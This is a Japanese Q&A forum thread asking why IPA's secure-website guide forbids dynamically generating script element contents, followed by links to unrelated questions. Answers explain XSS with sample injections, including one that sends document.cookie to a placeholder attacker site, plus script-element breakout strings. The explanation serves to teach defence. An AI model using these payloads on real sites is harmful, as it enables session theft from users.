ウェブサイトの安全な作り方とは?

このQ&Aのポイント
  • <script>...</script>要素の内容を動的に生成しない
  • 外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれる恐れがある
  • <script>...</script>要素の内容が安全ではないことを意味している
回答を見る
  • ベストアンサー

<script>...</script> 要素の内

▽安全なウェブサイトの作り方   http://www.ipa.go.jp/security/vuln/documents/website_security.pdf ><script>...</script> 要素の内容を動的に生成しない >ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります ・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等) ・具体的にどのようにして埋め込まれる恐れがあるのでしょうか? ・またここで書いている内容は、下記何れを指しているのでしょうか? ・ココカラ<script>...</script>ココマデ ・<script>ココカラ...ココマデ</script>

  • re97
  • お礼率80% (601/744)

質問者が選んだベストアンサー

  • ベストアンサー
  • Ogre7077
  • ベストアンサー率65% (170/258)
回答No.2

攻撃の容易性でしょう。 この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。 埋め込み方法ですが、以下の様な生成をするサイトの場合なら 入力内容: 太郎 出力内容: <script>alert('こんにちは太郎さん')</script> そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。 入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=(' 出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script> 引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

re97
質問者

お礼

回答ありがとうございましたー

その他の回答 (2)

  • b0a0a
  • ベストアンサー率49% (156/313)
回答No.3

主にサーバーサイドの話でしょう 例えば簡易掲示板で、名前をクリックすると本文がalertされるものを作ったとします そこで alert("内容") とすると 内容が 「"+(function(){code})()+"」だと aler("t"+(function(){code})()+"") となって任意のコードを埋め込まれてしまうということです 本人が書き込んだ内容を本人のみに適応する場合はいいですが 第三者も見えるHTMLコードになる場合は気をつけてください

re97
質問者

お礼

回答ありがとうございましたー

  • Chaire
  • ベストアンサー率60% (79/130)
回答No.1

ものすごく単純化しますが、 ・script 要素生成テンプレート: <script>alert('あなたの名前は$nameです。');</script> ・利用者から入力されたデータ(1): $name = "太郎" → <script>alert('あなたの名前は太郎です。');</script> ・利用者から入力されたデータ(2): $name = "');var s=document.cookie;('" → <script>alert('あなたの名前は');var s=document.cookie;('です。');</script> ・利用者から入力されたデータ(3): $name = "')</script><p>おはよう</p>" → <script>alert('あなたの名前は')</script><p>おはよう</p>です。');</script> (2) のようにして Cookie にアクセスできました。もちろん、このままでは Cookie 制限により他のドメインに紐付けられたデータを見ることはできませんが、危険であることに変わりありません。また、(3) は勝手に script 要素を終わらせ、任意の文字列を出力させています。 この場合、$name を「HTML の script 要素内に埋め込まれる JavaScript に適した形」にエスケープする必要がありました。結構、ややこしい話なのですよ。例えば、script 要素内で "</script>" をどうやってエスケープしますか? 他の "</p>" のようなタグは? あるいは、今回は幸い(?) JavaScript の文字列への出力なので比較的楽なのですが、では文字列の形式を崩さないようにするには? そういう文法知識が曖昧なら、やらない方が無難です。まあ、上記のような名前程度なら、入力段階で "=" のような「名前に不適な文字」を刎ねてしまっても構いませんが。 そもそも論として、スクリプト云々に関係なく、データを出力する際は必ず「出力する文脈に合わせて」データをエスケープしなければなりません。データ入力時点の「サニタイズ」で事が済むと思っている人が今でも多いですが、間違いです。

re97
質問者

お礼

回答ありがとうございましたー

関連するQ&A

  • 別ウィンドウへの要素の追加(javascript)

    javascriptで下記の内容で要素を追加した場合、同一ウィンドウに表示した場合に比べて表示速度が非常に遅くなります。速く表示する方法はありませんでしょうか? **************************************************************************************** sample1.html(一部) **************************************************************************************** <script type="text/javascript"> var win1 = window.open("aaaa.html", "", "width=400,height=200"); var ele = win1.document.createElement("div"); // 新規に要素(タグ)を生成 var str = win1.document.createTextNode("あいうえお"); // 生成する要素の値(文字列) ele.appendChild(str); // 生成する要素の作成(要素に値を追加) win1.document.body.insertBefore(ele,null); // ページ (aaaa.html) の最後に生成した要素を追加 </script> ***************************************************************************************** aaaa.htmlの内容 ***************************************************************************************** <html> <head> </head> <body> </body> </html> ***************************************************************************************** sample1.htmlを実行するとaaaa.htmlにあいうえおと表示されます。 別ウィンドウへの要素を追加するタグの数が一つですとよく分かりませんが、追加するタグの数が10個以上にもなると表示に時間がかかります。表示させるするウィンドウが同ウィンドウ(sample1.html)ですと一瞬で表示されます。別ウィンドウへの表示速度を速くする方法はありませんでしょうか? また、別ウィンドウへ表示する場合は、なぜ時間がかかるのかが分かりません。 よろしくお願いします。

  • Illustratorスクリプト 新規文書上の処理

    Adobe Illustrator のスクリプティング処理のうち、スクリプト実行時に作成した新規ドキュメント上での処理についての質問です。バージョンは CS5 です。 jsx で以下の処理を組もうとしています。 (1) アクティブドキュメントを検索し、任意の要素を選択 (2) (1)をコピーしたオブジェクトを作成 (3) 新規ドキュメントを作成 (4) (2)を(3)に移動 (5) (3)に移動した(2)を取得(選択) (6) (5)の位置を変更 (7) (6)を外部ファイルに保存 (8) (6)を閉じる (5)で新規ドキュメントのpageItems配列の0番目(コピーした要素)にアクセスした瞬間にレスポンスが返ってこなくなり、固まってしまいます。仕方なく、毎回イラストレータを落とします。 (5)(6)の工程を抜くと、他の処理は全体を通してすべて正常に動きます。 アクティブドキュメントのループ処理中に作成した新規ドキュメント上にコピーした要素のプロパティは触ることができないのでしょうか…?また、上記を実現できる方法はありますか? よろしくお願いします。

  • Google Apps Scriptで自動印刷

    GASでDocumentファイルをPDFに変換保存し(ここまではスクリプトを組み、問題なく動作している)、最後に同PDFを印刷するコードを組もうと色々試したのですが、どうも印刷メソッドが見当たりません。 コンテンツアシストからそれっぽいものを片っ端から探し、書籍「Google Apps Script クイックリファレンス」の関係なさそうなとこまで探し、JavaScriptのprint()を試し、もちろんWebで検索をかけ、英文のサイトも探し、結局辿り着いたのは「印刷メソッドはない」という情報でした(英文フォーラム投稿)。 不存在の確証というのは得づらく、Googleがアップデートしてメソッドを追加してやしないか、そもそもあの情報を書いた人が知らなかっただけではないか、と諦め切れません。 また、もし印刷のGAS内での処理が無理ならばそこだけ外部アプリケーションに頼ることもやぶさかではないので(ただし、スクリプト組みはGAS内に留めたい)、とりあえずデスクトップへのダウンロードまでスクリプトで組もうとしたところ、downloadAsFile()というメソッドがTextファイルでしか働かず(TextOutput.downloadAsFileでしか呼び出せない)、元々のDocumentが書式設定されたもののためにPDFどころか元のDocumentのダウンロードにすら使えない状態です。 そこで、以下をご存知でしたら教えて頂きたい。 ・Google Drive上のPDFまたはDocumentをWebブラウザ上から直接印刷するためのGASのコード ・.txt形式以外でファイルをダウンロードするコード ・その他、生成したファイルを一括して印刷またはダウンロードするのに便利な方法 (Driveのリストからチェックを複数入れてプレビュー→印刷は一つしか印刷対象にならずダメ。チェックからダウンロードはZip化されて少々鬱陶しい。) 以上よろしくお願いします。

  • jQuery loadで要素差し替え

    回答者の皆様にはいつも大変にお世話になっております。 jQueryのload命令で別のhtmlを読み、#content要素を差し替えたく思っています。 読み込むhtmlにも同idの#content要素があります。 $("#content").load("contents1.html #content"); ところが、これを行うと、どうも、 <div id="content">  <div id="content">新しく読み込んだ内容</div> 元々の内容</div> のように2重に生成されてるようなのです。 コード例は簡略化してありますが、実際にはJavaScriptコードなどが入ったややこしいもので、CSSも、Javascriptも複雑怪奇で手が出ません。 また、各htmlは事情があり、内容を編集できません(外部でjava生成)。 どうやって読みこんだら要素差し替えられますでしょうか? お助けを!!

  • これだけ外部スクリプトで動かない

    <script type="text/javascript"> <!-- kikan=4; function new4W(writeday){ if((new Date()-new Date(writeday))/(24*60*60*1000)<=kikan) document.write("<img src='/img/ic/new036.gif'>"); } // --> </script> <script>new4W("2008/03/16")</script> 指定した日付(この場合 2008/03/16)から4日間、 画像を表示させるものです。<body>~</body>でちゃんと動きます。 <SCRIPT LANGUAGE="JavaScript" SRC="http://~/js/newmark.js"></SCRIPT> <script>new4W("2008/03/16")</script> 外部スクリプトにしました。そのまま内容を移行しましたが動きません。 呼び出しの部分を <head>~</head>に挿入しても、それでも動きません。 指定を絶対パス・相対パスいづれでも動きません。 これとは別に「3月18日は○○さんの誕生日です」なる JavaScript を 外部から引いてますが、こちらは問題なくできています。 指定URLも直接移動で内容が表示されるのを確認しました。 どうかご指導いただければと思います。よろしくお願いします。

  • innerHTMLを使ってID要素の内容を変えたい

    innerHTMLを使ってID要素の内容を変えたいのですが、 下記のような使い方はできないのでしょうか? var changeTEXT = document.all("hoge2").innerHTML; できない場合、これに変わるようなものがありましたら教えていただけたら、うれしいです。 よろしくお願いします。 <html> <head> <script language="JavaScript" type="text/javascript"> <!-- var changeTEXT = document.all("hoge2").innerHTML;         function change1_ID(){ if(document.all){ document.all("hoge1").innerHTML = changeTEXT } if(document.getElementById){ document.getElemntById("hoge1").innerHTML = text1 } } //--> </script> <style type="text/css"> <!-- #hoge1 { margin: 0px; padding: 0px; height: 600px; width: 600px; } #hoge2 { margin: 0px; padding: 0px; height: 600px; width: 600px; } --> </style> </head> <body> <div id="hoge1" onclick="change_ID()"> ここの内容を変えたい</div> <div id="hoge2"> ここに入力されたHTMLの内容をhoge1の内容にしたい</div> </body> </html>

  • 二次元オブジェクトと内部要素の参照、置換

    DIV要素を以下のように生成していきます。 for(i=0;i<MaxW;i++){ for(j=0;j<MaxH;j++){ document.write('<div id="Waku_'+i+'_'+j+'">['+i+']['+j+']<\/div>') } } そして後々これらDIV要素の任意のIDの内部要素を参照したり置換したりできるようにしたいのです。 方法としては、 document.getElementById("Waku_"+i+"_"+j).innerHTML="置換したいもじ"; alert(document.getElementById("Waku_"+i+"_"+j)); などを考えていますが、getElementById()は変数が内部に使用されると、 或いは変数のみでの指定ができないのかうまく機能しません(JavaScriptの仕様でなのか、自分のミスなのか、何か他の盲点があるのかすらわからない)。 getElementByIdを使うにあたって、何か利用に際して必要な条件があったら教えていただけるとありがたいです。 たとえば、div要素ではそもそもgetElementByIdは使えないとか、 見落としがちな盲点があるかもしれないのでもしありましたらこれらも御願いします。 完成させたいものとしては、クリックしたDIV要素の内部要素を参照して、 <input type="text" value="内部要素"> として、書き換え後フォーカスを外すと、そのフォームで編集した文字列をソースに変換して適応する、 一種のエクセル機能のようなプログラムを作ろうと考えています。

  • 指定位置に要素を追加する

    <script type="text/javascript"> function test(){ var hako2 = document.createElement('div'); hako1.innerHTML = "TEST2"; var lk2 = document.getElementById('link2'); var li2 = lk2.parentNode; li2.appendChild(hako2); } </script> </head> <body> <div><a href="1" id="link1">1</a></div> <div><a href="2" id="link2">2</a></div> <div><a href="3" id="link3">3</a></div> <input type="button" onclick="test()" value="test"> </body> みたいなイメージなのですが、いかんせんスマートじゃありません できれば<div>で<a>を囲うのをやめたいのです。 ターゲットになる<a>の位置は固定ではなく前後に他の要素が入ることもあります <a href="2" id="link2">2</a>の次に<div>TEST2</div>を生成できればどんなのでも?いいのですが、何かいいやり方ありませんか?

  • 子ウィンドウの情報を取得したい

    window.openを複数行い、各ウィンドウの情報を取得したいのですが 配列変数などで管理せずwindowなどで取得は可能でしょうか? 試しに作成したソースです --ココカラ(oya.html)-- <html> <head> <script type="text/javascript"> <!-- //この方法で取得ができるが var koList = new Array(); function openKoA(){ kowin = window.open("ko.html", "kowin" + koList.length); koList.push(kowin); } function koListA(){ for(i in koList){alert(koList[i].document.getElementById("t1").value);} } // 配列で管理せずにwindow等にある情報で取得したい function openKoB(){ window.open("ko.html"); } function koListB(){ alert("子供リストなど"); //window.childNodes とか } --> </script> </head> <body> <input type="button" value="openKoA" onclick="openKoA()"> <input type="button" value="koListA" onclick="koListA()"> <br> <input type="button" value="openKoB" onclick="openKoB()"> <input type="button" value="koListB" onclick="koListB()"> </body> </html> --ココマデ(oya.html)-- --ココカラ(ko.html)-- <html> <body> <input type="text" id="t1" value="aa"> </body> </html> --ココマデ(ko.html)-- 以上、よろしくお願いします。

  • PDFを作成する手順を教えてください!

    ワードなどの文書をPDF化したり、またはそれを印刷したりしたいと思いまして、下記のアドレスからPrimpPDFをダウンロードしてインストールも済ませました。(よって、プリンター一覧にはPrimoPDFが追加されました) http://www.forest.impress.co.jp/lib/offc/document/docsupt/primopdf.html さあ、いよいよワードをPDF化しようと思いましたが、上手くいきません。というか表記が英語なので理解できていないのかもしれません。 私が行った手順と内容をご説明します。 (1)ワードの文書を開く (2)印刷画面で、プリンターをPrimoPDF選択 (3)OK (4)すると、PrimoPDFの画面になります。ここからが英語表記でどうしてよいか分かりません。表記内容を書いておきます。 ●Screen ●Print ●Ebook ●Prepress 【Document】       【Security】 Save as このような表記です。英語の意味もそうでうが、どうすればPDF化できるのか分かりません。また、【Document】や【Security】の内容も分かりません。何かすべきことはあるのでしょうか?一応手順の書いてあるサイトを見て、下記のようにやってみたのですができません。ご指導くださいませ。よろしくお願いします。  ※(手順を書いてあるサイトの内容) PDFファイルを作成したいときは、ファイルを任意のアプリケーションで開いて印刷メニューを呼び出し、プリンターとして“PrimoPDF”を選択後、ダイアログ上でPDFファイルを保存するフォルダを指定して[OK]ボタンを押せばよい。